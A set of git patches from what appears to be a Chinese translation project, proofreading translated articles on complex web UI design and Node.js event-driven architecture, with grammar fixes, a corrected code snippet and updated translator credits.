Date: Wed, 7 Jun 2017 06:39:40 +0200
Subject: [PATCH 633/638] =?UTF-8?q?(update):=20=E6=A0=B9=E6=8D=AE=E6=A0=A1?=
 =?UTF-8?q?=E5=AF=B9=E8=BF=9B=E8=A1=8C=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...-mind-while-developing-complex-ui-in-web.md | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md b/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md
index 3b5e9e4a48a..bd843f7949e 100644
--- a/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md
+++ b/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md
@@ -10,25 +10,25 @@
 
 我最近在构建一个复杂、动态地 Web 应用的用户界面（UI）。在这条路上，我学到了一些宝贵的经验教训。
 
-下面的这些技巧是我希望有人能够在当我开始这样一个雄心勃勃的项目之前能告诉我的。这将为我节省大量时间和精力。
+下面的这些技巧是我希望有人在当我开始这样一个雄心勃勃的项目之前能告诉我的。这将为我节省大量时间和精力。
 
 ### 理智意见 #1: 使用组件的内部状态存储临时数据 ###
 
-复杂的 UI 通常需要你维护某种应用程序状态。这将告诉 UI 显示什么内容以及如何显示它们。 一个选择是当用户触发页面里的某个行为时候，立即访问这个状态。然而据我了解，推迟改变这个应用的状态，在当前组件的内部状态下临时保存此更改会更好。
+复杂的 UI 通常需要你维护某种应用程序状态。这将告诉 UI 显示什么内容以及如何显示它们。 一个选择是当用户触发页面里的某个行为的时候，立即访问这个状态。然而据我了解，推迟改变这个应用的状态，在当前组件的内部状态下临时保存此更改会更好。
 
 举个例子，有一个对话框能够让用户编辑某些记录数据，比如他（她）的名字：
 
 ![](https://cdn-images-1.medium.com/max/800/1*bFb-8Zdzf1aGPJyWpD_hsg.jpeg)
 
-这时，你可能想要让用户每次编辑这个对话框时触发修改。但是，我的建议是使用显示的所有数据来维护此对话框的内部状态，直到用户按下保存按钮。 此时，您可以安全地更改保存这些记录数据的应用程序状态。
+这时，你可能想要让用户每次编辑这个对话框时触发修改。但是，我的建议是使用显示所有数据来维护此对话框的内部状态，直到用户按下保存按钮。 此时，您可以安全地更改保存这些记录数据的应用程序状态。
 
-这样，如果用户决定放弃更改并关闭对话窗口，则可以直接删除组件，这时应用程序状态保持不变。 如果你需要将数据发送到后端，便可以在一个请求中进行。 如果这些数据对其他用户同时可用，那么当有人编辑这些数据时其他人也将不会看到这些临时值。
+这样，如果用户决定放弃更改并关闭对话窗口，则可以直接删除组件，这时应用程序状态保持不变。 如果你需要将数据发送到后端，便可以在一个请求中进行。 如果这些数据对其他用户同时可用，那么当有人编辑这些数据时其他人不会看到这些临时值。
 
 > 你的 UI 行为应该匹配用户的心理模型
 
 当用户使用对话框时，他们通常会认为这些记录在完成编辑之前是不会被保存的。组件的功能也应该匹配这种行为。
 
-**使用 React/Redux 的人请注意**：将一般数据保存在 Redux Store 并使用 React 组件状态来存储这些临时数据的这种行为是可行的。
+**使用 React/Redux 的人请注意**：将一般数据保存在 Redux Store 并使用 React 组件状态来存储这些临时数据的行为是可行的。
 
 ### 理智意见 #2: 从 UI 状态中分离模型数据 ###
 
@@ -38,7 +38,7 @@ Web 应用程序中的现代 UI 在结构和行为上可能很复杂。这通常
 
 > 将 UI 状态中的业务数据和逻辑分别存储在不同模型之中
 
-这种方法很容易遵循和理解，因为想它让你把业务逻辑与其他一切分离开来。这样你的模型可以同时保存这些数据和方法（函数）进而处理这些数据。 否则，你的应用程序可能最终会跨越多个地方穿插业务逻辑，其中最有可能是 **View** 组件。
+这种方法很容易遵循和理解，因为它想让你把业务逻辑与其他一切分离开来。这样你的模型可以同时保存这些数据和方法（函数）进而处理这些数据。 否则，你的应用程序可能最终会跨越多个地方穿插业务逻辑，其中最有可能是 **View** 组件。
 
 例如，在应用程序中，你有一个待办事宜的列表，并实现一个页面来添加一个新的任务到该列表。 现在你需要在任务描述、任务日期的格式合法之前，禁用「保存」按钮：
 
@@ -60,7 +60,7 @@ Web 应用程序中的现代 UI 在结构和行为上可能很复杂。这通常
 
 现在，你可以在 **View** 组件中为你的 UI 逻辑使用 `const saveButtonDisabled = !task.isValid()` 了。
 
-正如你所看到的，这个提示基本上是关于讨论如何将你的**模型**与MVC模式中的**视图**进行分离。
+正如你所看到的，这个提示基本上是关于如何将你的**模型**与MVC模式中的**视图**进行分离。
 
 ### 理智意见 #3: 优先考虑集成测试而不是单元测试 ###
 
@@ -68,11 +68,11 @@ Web 应用程序中的现代 UI 在结构和行为上可能很复杂。这通常
 
 ![](https://cdn-images-1.medium.com/max/800/1*dsj6MNERxdJtcr5-I7W2vQ.jpeg)
 
-依我的经验，我了解到：具有良好的单元测试覆盖率的代码库通常比具有良好集成测试覆盖率的代码更容易出错。我注意到开发工作引入的大多数错误都是[软件回归错误 (regression bug)](https://en.wikipedia.org/wiki/Software_regression)。 单元测试通常不能很好地捕捉到这些问题。
+依我的经验，我了解到：具有良好单元测试覆盖率的代码库通常比具有良好集成测试覆盖率的代码更容易出错。我注意到开发工作引入的大多数错误都是[软件回归错误 (regression bug)](https://en.wikipedia.org/wiki/Software_regression)。 单元测试通常不能很好地捕捉到这些问题。
 
 当你在代码中修复问题时，我建议您按照以下简单步骤操作：
 
-1. 写出由于现有问题而导致失败的测试。如果可以通过单元测试完成，这很好。否则，就根据需要使测试接触许多代码模块。
+1. 写出由于现有问题而导致失败的测试。如果可以通过单元测试完成，这很好。否则，使测试根据需要接触许多代码模块。
 2. 在代码库中解决问题。
 3. 验证测试不会失败。
 

From 3c433ea052176212c7c17e693db27743f9ecaf0a Mon Sep 17 00:00:00 2001
From: Changkun Ou <hi@changkun.us>
Date: Wed, 7 Jun 2017 06:50:34 +0200
Subject: [PATCH 634/638] =?UTF-8?q?(update):=20=E4=BF=AE=E5=A4=8D=E6=BC=8F?=
 =?UTF-8?q?=E6=8E=89=E7=9A=84=E4=B8=80=E4=B8=AA=E7=9A=84=E5=9C=B0=E5=BE=97?=
 =?UTF-8?q?=E9=94=99=E8=AF=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md b/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md
index bd843f7949e..29c6b5d143d 100644
--- a/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md
+++ b/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md
@@ -8,7 +8,7 @@
 
 ![](https://cdn-images-1.medium.com/max/2000/1*jwBhYQ_c_HZ_OOCE4pwbwQ.jpeg)
 
-我最近在构建一个复杂、动态地 Web 应用的用户界面（UI）。在这条路上，我学到了一些宝贵的经验教训。
+我最近在构建一个复杂、动态的 Web 应用的用户界面（UI）。在这条路上，我学到了一些宝贵的经验教训。
 
 下面的这些技巧是我希望有人在当我开始这样一个雄心勃勃的项目之前能告诉我的。这将为我节省大量时间和精力。
 

From 5e71b4bfddc6832ee82ea9dc8d4e9a10c6898b35 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Wed, 7 Jun 2017 00:51:00 -0500
Subject: [PATCH 635/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 37e40ffb961..45984721fee 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -127,7 +127,7 @@ const readFileAsArray = function(file, cb = () => {}) {
 
 `reject` 函数的作用就和我们之前 callback 中处理错误是一样的，而 `resolve` 函数也就和我们正常处理返回值一样。
 
-剩下唯一要做的就是在实例中指定 `reject` `resolve` 函数的默认值，在 Promise 中，我们只要写一个空函数即可，例如 `(\) => {}`.
+剩下唯一要做的就是在实例中指定 `reject` `resolve` 函数的默认值，在 Promise 中，我们只要写一个空函数即可，例如 `() => {}`.
 
 #### 在 async/await 中使用 Promise ####
 
@@ -189,7 +189,7 @@ const myEmitter = new MyEmitter();
 myEmitter.emit('something-happened');
 ```
 
-触发一个事件即某种情况发生生的信号，这些情况通常是关于 Emitter 对象的状态改变的。
+触发一个事件即某种情况发生的信号，这些情况通常是关于 Emitter 对象的状态改变的。
 
 我们使用 `on` 方法来注册，然后这些监听的方法将会在每一个 Emitter 对象 emit 它们对应名称的事件的时候执行。
 
@@ -480,10 +480,9 @@ withTime.execute(fs.readFile, __filename);
 
 感谢阅读，下次再会，以上。
 
-(下面是广告，就不翻译了->->)
-*If you found this article helpful, please click the💚 below. Follow me for more articles on Node and JavaScript.*
+如果觉得本文有帮助，点击[阅读原文](https://medium.freecodecamp.com/understanding-node-js-event-driven-architecture-223292fcbc2d)可以看到更多关于 Node 和 JavaScript 的文章。
 
-If you have any questions about this article or any other article I wrote, find me on [this slack account](https://slack.jscomplete.com/) (you can invite yourself) and ask in the #questions room.
+关于本文或者我写的其它文章有任何问题，欢迎在 [this slack account](https://slack.jscomplete.com/) 找我，也可以在 #questions room 向我提问。
 
 I create online courses for [Pluralsight](https://www.pluralsight.com/search?q=samer+buna&amp;categories=course) and [Lynda](https://www.lynda.com/Samer-Buna/7060467-1.html) . My most recent courses are [Getting Started with React.js](https://www.pluralsight.com/courses/react-js-getting-started) , [Advanced Node.js](https://www.pluralsight.com/courses/nodejs-advanced) , and [Learning Full-stack JavaScript](https://www.lynda.com/Express-js-tutorials/Learning-Full-Stack-JavaScript-Development-MongoDB-Node-React/533304-2.html) .
 

From cc5d14dbbb3b1d707e857d4dc82efe6d24b0fd75 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Wed, 7 Jun 2017 14:25:06 +0800
Subject: [PATCH 636/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 45984721fee..25e9b73bac8 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -484,7 +484,7 @@ withTime.execute(fs.readFile, __filename);
 
 关于本文或者我写的其它文章有任何问题，欢迎在 [this slack account](https://slack.jscomplete.com/) 找我，也可以在 #questions room 向我提问。
 
-I create online courses for [Pluralsight](https://www.pluralsight.com/search?q=samer+buna&amp;categories=course) and [Lynda](https://www.lynda.com/Samer-Buna/7060467-1.html) . My most recent courses are [Getting Started with React.js](https://www.pluralsight.com/courses/react-js-getting-started) , [Advanced Node.js](https://www.pluralsight.com/courses/nodejs-advanced) , and [Learning Full-stack JavaScript](https://www.lynda.com/Express-js-tutorials/Learning-Full-Stack-JavaScript-Development-MongoDB-Node-React/533304-2.html) .
+作者在 [Pluralsight](https://www.pluralsight.com/search?q=samer+buna&amp;categories=course) 和 [Lynda](https://www.lynda.com/Samer-Buna/7060467-1.html) 上有开设线上课程，最近的课程有[React.js入门](https://www.pluralsight.com/courses/react-js-getting-started)，[Node.js进阶](https://www.pluralsight.com/courses/nodejs-advanced)，[JavaScript全栈](https://www.lynda.com/Express-js-tutorials/Learning-Full-Stack-JavaScript-Development-MongoDB-Node-React/533304-2.html)，有兴趣的可以试听。
 
 ---
 

From 2ca2c03208431d0b742154979e142f674da0a838 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Wed, 7 Jun 2017 14:27:08 +0800
Subject: [PATCH 637/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 25e9b73bac8..52263386428 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -482,7 +482,7 @@ withTime.execute(fs.readFile, __filename);
 
 如果觉得本文有帮助，点击[阅读原文](https://medium.freecodecamp.com/understanding-node-js-event-driven-architecture-223292fcbc2d)可以看到更多关于 Node 和 JavaScript 的文章。
 
-关于本文或者我写的其它文章有任何问题，欢迎在 [this slack account](https://slack.jscomplete.com/) 找我，也可以在 #questions room 向我提问。
+关于本文或者我写的其它文章有任何问题，欢迎在 [slack](https://slack.jscomplete.com/) 找我，也可以在 #questions room 向我提问。
 
 作者在 [Pluralsight](https://www.pluralsight.com/search?q=samer+buna&amp;categories=course) 和 [Lynda](https://www.lynda.com/Samer-Buna/7060467-1.html) 上有开设线上课程，最近的课程有[React.js入门](https://www.pluralsight.com/courses/react-js-getting-started)，[Node.js进阶](https://www.pluralsight.com/courses/nodejs-advanced)，[JavaScript全栈](https://www.lynda.com/Express-js-tutorials/Learning-Full-Stack-JavaScript-Development-MongoDB-Node-React/533304-2.html)，有兴趣的可以试听。
 

From 11905e71db40e61c1eea8be8d49ccbd512283f1b Mon Sep 17 00:00:00 2001
From: Changkun Ou <hi@changkun.us>
Date: Wed, 7 Jun 2017 09:02:08 +0200
Subject: [PATCH 638/638] =?UTF-8?q?(add):=20=E8=A1=A5=E5=85=85=E6=A0=A1?=
 =?UTF-8?q?=E5=AF=B9=E8=80=85=E4=BF=A1=E6=81=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md b/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md
index 29c6b5d143d..c7501f3fe5a 100644
--- a/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md
+++ b/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Illia Kolodiazhnyi](https://medium.freecodecamp.com/@iktash88)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[Changkun Ou](https://github.com/changkun/)
-> * 校对者：[MuYunyun](https://github.com/MuYunyun)
+> * 校对者：[MuYunyun](https://github.com/MuYunyun), [noturnot](https://github.com/noturnot)
 
 # 如何理智地构建复杂用户界面 #